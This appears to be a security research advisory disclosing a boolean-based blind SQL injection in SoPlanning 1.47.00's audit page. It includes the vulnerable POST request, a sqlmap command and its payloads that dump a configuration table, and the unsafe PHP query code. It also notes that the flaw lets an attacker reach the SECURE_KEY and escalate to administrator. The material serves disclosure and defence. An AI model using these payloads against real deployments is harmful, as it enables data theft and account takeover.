Research

Boolean-based Blind SQL Injection – SoPlanning

Researchers:

Nour Alomary

Background

SQL Injection (SQLi) is a vulnerability whereby an attacker alters the intended logic of an SQL command. To do this they tamper with the original SQL query through user controllable input fields.

As a result, the attacker may be able to access, modify and delete stored data, thus compromising its confidentiality, integrity and availability.
Depending on the underlying database system it may be possible to read or write files and/or execute commands on the operating system. In these situations, the impact migrates from the database to the supporting infrastructure and would potentially enable onward attacks to occur against neighbouring systems.

SQL Injection is a common vulnerability and is often the root cause of major data breaches.

Details

SoPlanning version 1.47.00 was vulnerable to a boolean-based blind SQL Injection vulnerability. This allowed an authenticated user to extract information from the application database, including configuration data as well as user hashes.

The following was the request made to the Audit page:

				
					POST /soplanning/www/audit.php HTTP/1.1
Host: 192.168.0.88 
Content-Length: 92 
Cache-Control: max-age=0 
Upgrade-Insecure-Requests: 1 
Origin: http://192.168.0.88 
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 
Accept: 
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.0.88/soplanning/www/audit.php 
Accept-Encoding: gzip, deflate 
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 
Cookie: dateDebut=03/09/2020; dateFin=03/11/2020; xposJoursWin=0; xposMoisWin=0; yposJoursWin=0; yposMoisWin=0; soplanningplanning_=r22g78taga3ok7tg3d5l03434n; baseColonne=jours; baseLigne=projets; dimensionCase=reduit; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D 
Connection: close 

filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1

Figure 1 highlighted the vulnerable parameter location in the Audit page.

Figure 1 – Audit Vulnerable SQLi Parameter

SQLMAP was used to automate this attack as shown below:

				
					$ python sqlmap.py -r auditRequest.txt --proxy="http://127.0.0.1:8080" --dbms=mysql --method=POST -p"projet_test1" --level=5 --risk=3 -D soplanning -T planning_config --dump 
[...]
--- 
Parameter: projet_test1 (POST) 
    Type: boolean-based blind 
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1') AND 1720=1720-- oMkq 
    
    Type: UNION query 
    Title: Generic UNION query (NULL) - 26 columns 
    Payload: filtreUserAudit=1&filtreGroupeProjetAudit=1&filtreGroupeProjetAudit=test1&projet_test1=test1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171716b71,0x696b52715a6f4773796e6c4352695263737a6a7157485167537346587341746e6948786577697966,0x7170767671),NULL-- -
    ---
[17:03:50] [INFO] testing MySQL 
[17:03:51] [INFO] confirming MySQL 
[17:03:51] [INFO] the back-end DBMS is MySQL web application technology: PHP 7.4.9, Apache 2.4.46 back-end DBMS: MySQL >= 8.0.0 
[17:03:53] [INFO] fetching entries for table 'planning_config' in database 'soplanning' 
[17:03:54] [INFO] recognized possible password hashes in column 'valeur' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] n 
Database: soplanning 
Table: planning_config
[65 entries]
+----------------------------------------+----------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ 
| cle           | valeur            | commentaire |
+----------------------------------------+----------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+ |
CONTACT_FORM_DEACTIVATE             | <blank> 
| Put 1 to deactivate the display of the small button/popin (contact form) | 
| CURRENT _VERSION           | 1.47.00 
| [...]

The highlighted parts demonstrate that:

⎯ The backend was MySQL >= 8.0.0, PHP 7.4.9 and Apache 2.4.46; and
⎯ Listed the column names for the “planning_config” table in the “soplanning” database as well as the data stored in the table, such as the ‘CURRENT_VERSION’ row.

This was sufficient to demonstrate that data extraction was possible. Additional impacts such as file reading/writing, and OS command execution would be dependent on the setup of the database. Those would be different for each customer deployment of SoPlanning.

The following snippet contained the vulnerable SQL query in the ‘audit.php’ file constructed using untrusted user-controlled input:

				
					$sql = "SELECT pa.*, pu.nom as modif_nom, pu2.nom as user_nom, pp.nom as projet_nom, pl.nom as lieu_nom, pr.nom as ressource_nom, ps.nom as status_nom, pe.nom as equipe_nom, pg.nom as groupe_nom, ppe.date_debut, pu3.nom as periode_user_nom 
        FROM planning_audit as pa 
        LEFT JOIN planning_user as pu ON pu.user_id = pa.user_modif
        LEFT JOIN planning_user as pu2 ON pu2.user_id = pa.user_id
        LEFT JOIN planning_projet as pp ON pp.projet_id = pa.projet_id
        LEFT JOIN planning_lieu as pl ON pl.lieu_id = pa.lieu_id
        LEFT JOIN planning_ressource as pr ON pr.ressource_id = pa.ressource_id 
        LEFT JOIN planning_status as ps ON ps.status_id = pa.lieu_id 
        LEFT JOIN planning_periode as ppe ON ppe.periode_id = pa.periode_id 
        LEFT JOIN planning_user as pu3 ON pu3.user_id = ppe.user_id 
        LEFT JOIN planning_user_groupe as pe ON pe.user_groupe_id = pa.equipe_id 
        LEFT JOIN planning_groupe as pg ON pg.groupe_id = pa.groupe_id WHERE 1=1"; 
    if(count($_SESSION['filtreUserAudit']) > 0) { $sql.= " AND pa.user_modif IN ('" . implode("','",
$_SESSION['filtreUserAudit']) . "')"; 
    }
    if(count($_SESSION['filtreGroupeProjetAudit']) > 0) { $sql.= " AND pa.projet_id IN ('" . implode("','",
$_SESSION['filtreGroupeProjetAudit']) . "')";
}

Users with access to view the audit functionality would be able to exploit this vulnerability to extract data from the database thus compromising the confidentiality of the data stored by the application.

In addition to this, the attacker can gain access to the SECURE_KEY, which would allow them to issue password reset requests for other user accounts, in doing so, they would be able to elevate their access level to that of an administrator.